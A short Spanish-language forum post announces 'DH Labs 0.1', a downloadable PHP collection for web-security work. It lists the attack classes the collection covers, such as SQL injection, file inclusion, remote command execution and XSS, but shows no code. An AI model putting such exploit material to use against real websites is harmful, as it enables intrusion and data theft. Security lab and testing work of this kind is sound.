10  Programación / PHP / [PHP] DH Labs 0.1 en: 9 Enero 2015, 17:14
Les dejo esta recopilacion de codigos php que uso para hacer exploits y programas orientados a la seguridad web.

Las funciones que tiene son :

  • Blind SQL Injection
  • ByPass Login
  • ByPass Uploader
  • Cross Site Request Forgery
  • Eval injection
  • Full Source Discloure
  • Headers Injection
  • HTML Injection
  • Insecure Cookie Handling
  • Local File Inclusion
  • Listado de directorios
  • Remote Command Execution
  • Remote File Inclusion
  • SQL Injection
  • XSS

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 48
Powered by SMF 1.1.20 | SMF © 2006-2008, Simple Machines